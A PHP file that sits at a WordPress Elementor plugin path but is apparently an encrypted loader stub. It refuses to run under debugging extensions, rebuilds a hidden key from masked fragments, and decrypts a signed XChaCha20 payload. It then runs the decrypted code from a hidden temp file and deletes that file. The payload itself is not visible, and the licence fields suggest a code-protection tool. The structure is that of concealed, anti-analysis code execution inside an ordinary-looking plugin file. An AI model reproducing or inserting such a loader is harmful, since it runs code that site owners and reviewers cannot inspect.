<?php
/**
 * Pro runtime stub.
 */

if (!extension_loaded('sodium')) { http_response_code(500); exit; }

// Anti-debug/trace (best-effort)
$forbid = ['xdebug','uopz','runkit','xhprof'];
foreach ($forbid as $ext) { if (extension_loaded($ext)) { http_response_code(500); exit; } }

$__ONLINE_ONLY = (int)('0');
if ($__ONLINE_ONLY) {
    if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { exit; }
    $host = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    if ($host==='' || preg_match('/(^|\.)(localhost|127\.0\.0\.1|::1)$/i', $host)) { exit; }
}

// domain guard
$__DOMS = json_decode('WyJpdHNob21hci5pciJd', true);
$__ERR = base64_decode('');
if (is_array($__DOMS) && count($__DOMS)>0) {
    $h = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    $ok=false;
    foreach ($__DOMS as $dRaw) {
        $d = strtolower(trim($dRaw));
        if ($h===$d || ($d && substr($h, -strlen('.'.$d)) === '.'.$d)) { $ok=true; break; }
    }
    if (!$ok) { http_response_code(403); echo $__ERR; exit; }
}

// expiry guard
$__EXP = (int)('0');
if ($__EXP>0 && time() > $__EXP) { http_response_code(403); echo $__ERR; exit; }

// Recombine key
function deobf_key(array $parts, array $masks, array $rot): string {
    $buf = '';
    $n = count($parts);
    for ($i=0;$i<$n;$i++) {
        $p = base64_decode($parts[$i]);
        $m = base64_decode($masks[$i]);
        $r = (int)$rot[$i];
        $x = '';
        for ($j=0;$j<strlen($p);$j++){
            $b = ord($p[$j]);
            $b = ((($b >> $r) | (($b << (8-$r)) & 0xFF)) & 0xFF); // rotate right
            $x .= chr($b);
        }
        $buf .= ($x ^ $m);
    }
    return $buf;
}

$__PARTS = json_decode('["ZxoX4yMhhEA=","fAC04Ajuobw=","z2VtKCDHV9k=","QBJ7xqRYYDw="]', true);
$__MASKS = json_decode('["fyvscyq85G8=","HxoAAUSA5fs=","PE30u8lgz1M=","SAd23azMxiY="]', true);
$__ROT   = json_decode('[7,4,2,7]', true);
$__KEY   = deobf_key($__PARTS, $__MASKS, $__ROT);

$__NONCE = base64_decode('u03jnjFTCEDEYhmS613DpA8rWOMZjv/K');
$__AAD   = base64_decode('eyJsaWNfbW9kZSI6ImxvY2FsIiwibGljX3VybCI6IiIsImxpY19hcHAiOiIiLCJsaWNfcHViIjoiIiwibGljX2NhY2hlIjozNjAwLCJidWlsZCI6IjA4N2Q2NDc4Y2RmNDAzNDAiLCJwYXRoIjoiL2hvbWUvaXRzaG9tYXIvaXRzaG9tYXIuaXIvc291cmNlL2VsZW1lbnRvci9hcHAvbW9kdWxlcy9pbXBvcnQtZXhwb3J0L3J1bm5lcnMvaW1wb3J0L3BsdWdpbnMucGhwIiwidHMiOjE3NTY2OTM3MTMsImV4cGlyZXMiOjAsImRvbWFpbnMiOlsiaXRzaG9tYXIuaXIiXSwib25saW5lIjowLCJ3cCI6MSwiYWxnbyI6InhjaGFjaGEyMHBvbHkxMzA1X2lldGYifQ==');
$__CT    = base64_decode('2PJTA29+5uPK208WISSDtu03Yphqwjyb/AcnrOfg80B/CM+eDRmf0Lj6zgNTLy8l0xEhhHOdFq3m6rxr+tMsP0maDVE1GmWYXluFi+XmQyaIbqzFIrrN9NSkxhv480Iu408Jn7buZFg8hv2GtAXsIwCbl0SE2ggtkVUHop6Z8JzCPj54+2PxTj4KpoxskVcJdSHzHjDl6wrbjAtkXB9jRg/KXANoxYvgRB3aC6bk1Q1EeutsztfoHNLb6b7mTOCA6BqUkSARWzEF5zmBxp2Rh7JPTWGKXgyruE/7yNoXcOfs9cxzqljfXBoKRmqfZ+3PewvsMxhJitntdHw+QMua6q8v3VAZ2YRsaHv2TDS1HGNu6MAVJ5jjbSjexk4dLUInwsYSr9t9wzBww6bmUOsV990/usv47ULPmbtROe06AbTcVGm5R3Vrl00YEIY4R1BpL/y2jxAzYNZAAnPEKlzcygknWSYeQsz7ux2Q9q7wjwOrY+nMKf3eLawG/FgY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ynJmxU0ofGLOATAkAb54hbx2Kh1X3mgjdo2+6v0K+Z1EkeFB+RKw9Xj0BZ3iyK+jOYJ0z0AdmoiDLrlIxacmnYXR3+hR32UvsTDgFFJfNHKZxIN9frEXYbgPA+qYSZjMjeZuprY5meUi/Kdnwxkypt/8ebd4cs9tzfS5C6PC2HO8Y94ObaVYGVsw+sV45FxOrMMcAAbBEcIKYBjpgOKONjSVnm84rwU+ymi2QLpmoqVEqV2m6MiCYtwmqASuCJSlb9RRYPrfwfa/ylR8O1kV4G5WvtchEp30XPQ65iQ1h7ZVxjkOQOCM6t/KP+4zYphZBkAjvxyS7UpG/9dcuXvn/WgG0oBbqPQdjyh2n3AeCAj3fxvRJVXl+7BGipRxoEXf6ijnbXeTQ99hiGDX3bSjPMX6Y5K+gAnCiEqDFRCKMqK81BeHXy9BjaopxSNAckWujPOHSQHVSoNnL79sDLjF+/U9kXM1bxLHGFYHsNBEVs1SubXy5BMLOFCGmX93OmiuLBvWiiuy2Q2Ci/rEsYnATV06gooHWie2EYwUpZ9WGTJJ3JPY5D12YQud7r/ObFHeiR9nzGforFtringABHk0sLya1GqyjwHFwfvkA+DxRKX0Nucp8zu2uXR5PENjPOE4TcaV0Qi2LZITr3ZB/f2P6jgufd/VPZRmY=');

// Signature verification
$__PK  = base64_decode('vptxcpkWr4W+yD1BWB3hW+MrIYyUjU7y5J431eMQsfw=');
$__SIG = base64_decode('yHJwyuHA+IM+RXkin6aRKGGt5Qbg2Liex6GVRmpDa004JryyCGt8YC+Ec9S75r0DZyw/6oG1ndoj+gSgTfJNDA==');
if (!sodium_crypto_sign_verify_detached($__SIG, $__AAD.$__CT, $__PK)) { http_response_code(500); exit; }

$__PT = sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($__CT, $__AAD, $__NONCE, $__KEY);
if ($__PT === false) { http_response_code(500); exit; }

$__IS_WP = (int)('1');
if ($__IS_WP) {
    if (!defined('ABSPATH') && !defined('WPINC')) { /* optional exit; */ }
}

// Execute using temp include
$__tmp = sys_get_temp_dir().'/._'.sha1('087d6478cdf40340'.__FILE__.mt_rand()).'.php';
file_put_contents($__tmp, $__PT); unset($__PT);
include $__tmp;
@unlink($__tmp);
